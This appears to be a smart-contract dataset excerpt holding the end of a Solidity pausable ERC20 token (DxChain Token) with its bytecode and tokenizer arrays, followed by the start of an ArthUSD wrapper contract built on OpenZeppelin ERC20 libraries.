<= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract DxToken is PausableToken { string public name = "DxChain Token"; string public symbol = "DX"; uint public decimals = 18; uint public INITIAL_SUPPLY = 10**29; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146102fc5780635c975abb14610313578063661884631461034257806370a08231146103a7578063715018a6146103fe5780638456cb59146104155780638da5cb5b1461042c57806395d89b4114610483578063a9059cbb14610513578063d73dd62314610578578063dd62ed3e146105dd578063f2fde38b14610654575b600080fd5b34801561010d57600080fd5b50610116610697565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610735565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610765565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061076f565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb6107a1565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e66107a7565b6040518082815260200191505060405180910390f35b34801561030857600080fd5b506103116107ad565b005b34801561031f57600080fd5b5061032861086d565b604051808215151515815260200191505060405180910390f35b34801561034e57600080fd5b5061038d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610880565b604051808215151515815260200191505060405180910390f35b3480156103b357600080fd5b506103e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b0565b6040518082815260200191505060405180910390f35b34801561040a57600080fd5b506104136108f8565b005b34801561042157600080fd5b5061042a6109fd565b005b34801561043857600080fd5b50610441610abe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048f57600080fd5b50610498610ae4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d85780820151818401526020810190506104bd565b50505050905090810190601f1680156105055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051f57600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b82565b604051808215151515815260200191505060405180910390f35b34801561058457600080fd5b506105c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb2565b604051808215151515815260200191505060405180910390f35b3480156105e957600080fd5b5061063e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be2565b6040518082815260200191505060405180910390f35b34801561066057600080fd5b50610695600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c69565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561072d5780601f106107025761010080835404028352916020019161072d565b820191906000526020600020905b81548152906001019060200180831161071057829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561075357600080fd5b61075d8383610dc1565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561078d57600080fd5b610798848484610eb3565b90509392505050565b60075481565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080957600080fd5b600360149054906101000a900460ff16151561082457600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561089e57600080fd5b6108a8838361126d565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561095457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a5957600080fd5b600360149054906101000a900460ff16151515610a7557600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b7a5780601f10610b4f57610100808354040283529160200191610b7a565b820191906000526020600020905b815481529060010190602001808311610b5d57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610ba057600080fd5b610baa83836114fe565b905092915050565b6000600360149054906101000a900460ff16151515610bd057600080fd5b610bda838361171d565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cc557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d0157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ef057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f3d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fc857600080fd5b611019826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ac826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561137e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611412565b611391838261191990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561153b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561158857600080fd5b6115d9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006117ae82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561192757fe5b818303905092915050565b6000818301905082811015151561194557fe5b809050929150505600a165627a7a72305820d3b75c69eae1c17e645215e49564d0d9e17b40b93fe4380f0ec26627dee316020029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2509, 2063, 25746, 2575, 2683, 14526, 2581, 2575, 2094, 21619, 19961, 22025, 2575, 2620, 2094, 2683, 2094, 20842, 28311, 22907, 2620, 2620, 2094, 22907, 2692, 23632, 2050, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,730
0x973F054eDBECD287209c36A2651094fA52F99a71
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { ARTHGmuRebaseERC20 } from "./ARTHGmuRebaseERC20.sol"; contract ArthUSDWrapper is ARTHGmuRebaseERC20 { IERC20 public arth; event Deposit(address indexed who, uint256 amount); event Withdraw(address indexed who, uint256 amount); constructor( string memory _name, string memory _symbol, address _arth, address _gmuOracle, address governance, uint256 chainId ) ARTHGmuRebaseERC20(_name, _symbol, _gmuOracle, governance, chainId) { arth = IERC20(_arth); _transferOwnership(governance); // transfer ownership to governance } /** * @dev Allow a user to deposit underlying tokens and mint the corresponding number of wrapped tokens. */ function depositFor(address account, uint256 amount) public virtual returns (bool) { SafeERC20.safeTransferFrom(arth, _msgSender(), address(this), amount); _mint(account, amount); emit Deposit(account, amount); return true; } function deposit(uint256 amount) public virtual returns (bool) { return depositFor(_msgSender(), amount); } /** * @dev Allow a user to burn a number of wrapped tokens and withdraw the corresponding number of underlying tokens. */ function withdrawTo(address account, uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); SafeERC20.safeTransfer(arth, account, amount); emit Withdraw(account, amount); return true; } function withdraw(uint256 amount) public virtual returns (bool) { return withdrawTo(_msgSender(), amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { IGMUOracle } from "./interfaces/IGMUOracle.sol"; import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import { ERC20RebasePermit } from "./ERC20RebasePermit.sol"; contract ARTHGmuRebaseERC20 is ERC20RebasePermit, Ownable { using SafeMath for uint256; IGMUOracle public gmuOracle; uint8 public decimals = 18; string public symbol; event GmuOracleChange(address indexed oracle); constructor( string memory _name, string memory _symbol, address _gmuOracle, address governance, uint256 chainId ) ERC20RebasePermit(_name, chainId) { symbol = _symbol; setGMUOracle(_gmuOracle); _transferOwnership(governance); // transfer ownership to governance } function gonsPerFragment() public view override returns (uint256) { // make the gons per fragment be as per the gmu oracle return gmuOracle.getPrice(); } function gonsDecimals() public view override virtual returns (uint256) { return gmuOracle.getDecimalPercision(); } /** * @dev only governance can change the gmu oracle */ function setGMUOracle(address _gmuOracle) public onlyOwner { gmuOracle = IGMUOracle(_gmuOracle); emit GmuOracleChange(_gmuOracle); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface 